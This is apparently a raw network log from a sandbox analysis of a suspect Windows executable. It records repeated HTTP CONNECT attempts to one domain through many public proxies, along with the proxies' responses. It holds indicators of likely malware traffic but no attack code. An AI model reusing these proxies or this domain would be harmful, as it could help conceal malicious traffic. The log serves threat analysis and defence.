Mar 11, 2024 15:21:04.659014940 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
700	192.168.2.9	52412	18.133.16.21	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.674475908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.985404968 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 14:21:04 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 15:21:05.002372980 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 ef 13 50 e4 a4 a2 7a dc 1b 9b 10 d1 83 e0 1a 87 74 ca e5 01 72 e8 a7 79 75 6d 19 84 ce 9e 89 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: ePztryum*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Mar 11, 2024 15:21:05.297846079 CET	1129	IN	Data Raw: 16 03 03 00 3d 02 00 00 39 03 03 9a 39 78 e9 8f 23 64 16 15 1a 31 c2 6b 53 44 5f b4 c3 ea da fc f5 07 2e 44 4f 57 4e 47 52 44 01 00 c0 30 00 00 11 ff 01 00 01 00 00 0b 00 04 03 00 01 02 00 17 00 00 16 03 03 02 e8 0b 00 02 e4 00 02 e1 00 02 de 30 Data Ascii: =99x#d1kSD_.DOWNGRD0000*H03110/U(heygirlisheeverythingyouwantedinaman.com0240311140021Z260311140021Z03110/U(heygirlisheeverythingyouwantedinaman.c
Mar 11, 2024 15:21:05.299781084 CET	93	OUT	Data Raw: 16 03 03 00 25 10 00 00 21 20 7a 30 75 d0 be f6 77 2b 4a f6 5d 9f be 5f a6 e4 34 d9 e0 4c 9c a4 41 54 d6 9b f6 35 91 5d 6f 0e 14 03 03 00 01 01 16 03 03 00 28 00 00 00 00 00 00 00 00 4c 3d 17 11 99 44 69 af 95 c4 1f 15 d5 5c 9b 63 01 2b 8b 59 a8 Data Ascii: %! z0uw+J]_4LAT5]o(L=Di\c+Y`L[
Mar 11, 2024 15:21:05.591068029 CET	51	IN	Data Raw: 14 03 03 00 01 01 16 03 03 00 28 78 1d 69 50 d9 3a b5 30 1d 6f b8 1d 88 7b bd ad 70 23 2d 0a e1 e0 d3 e6 70 c9 be 59 65 c7 46 ee 3e f4 6a 5c 6a 3f f5 b7 Data Ascii: (xiP:0o{p#-pYeF>j\j?

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
701	192.168.2.9	52413	195.154.172.161	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.674763918 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:04.182647943 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
702	192.168.2.9	52355	31.43.63.70	4145	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.678051949 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
703	192.168.2.9	52526	185.162.229.127	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.678180933 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.832405090 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
704	192.168.2.9	52331	91.202.230.219	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.683760881 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
705	192.168.2.9	52280	89.218.8.152	1080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.687253952 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
706	192.168.2.9	52409	176.31.110.126	45517	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.691574097 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
707	192.168.2.9	52330	61.178.152.31	7302	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.691632986 CET	243	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com
Mar 11, 2024 15:21:05.062927008 CET	90	IN	HTTP/1.1 200 OK Content-Type: application/json Connection: close Content-Length: 55

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
708	192.168.2.9	52340	139.224.64.191	8081	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.699790001 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.064934015 CET	767	IN	HTTP/1.1 403 Forbidden Server: Beaver Cache-Control: no-cache Content-Type: text/html Content-Length: 635 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 38 36 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314086"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
709	192.168.2.9	52418	20.37.207.8	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.702363014 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.021393061 CET	72	IN	HTTP/1.1 200 Connection established Proxy-Agent: Fortinet-Proxy/1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
710	192.168.2.9	52428	91.189.177.188	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.704197884 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:05.434622049 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:06.434911966 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:08.956182003 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Mon, 11 Mar 2024 14:21:08 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3703 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
711	192.168.2.9	52625	41.86.252.91	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.712626934 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
712	192.168.2.9	49889	212.110.188.189	34405	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.714062929 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.825280905 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:10.833839893 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:16.825692892 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:28.841041088 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:40.840725899 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:52.934421062 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:22:16.934372902 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:23:04.934276104 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
713	192.168.2.9	52626	41.86.252.91	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.714819908 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
714	192.168.2.9	52629	41.86.252.91	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.716747046 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
715	192.168.2.9	52630	41.86.252.91	443	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.718565941 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
716	192.168.2.9	52373	42.193.58.96	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.726505041 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:13.065999985 CET	58	IN	HTTP/1.1 200 Connection established Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
717	192.168.2.9	51476	185.250.27.54	3128	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.729131937 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:07.825304031 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:12.362009048 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
718	192.168.2.9	52551	104.16.143.127	80	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 15:21:04.734045029 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 15:21:04.888251066 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 14:21:04 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
719	192.168.2.9	52334	119.18.149.34	8080	2796	C:\Users\user\Desktop\Your file name without extension goes here.exe

Timestamp	Bytes transferred	Direction	Data
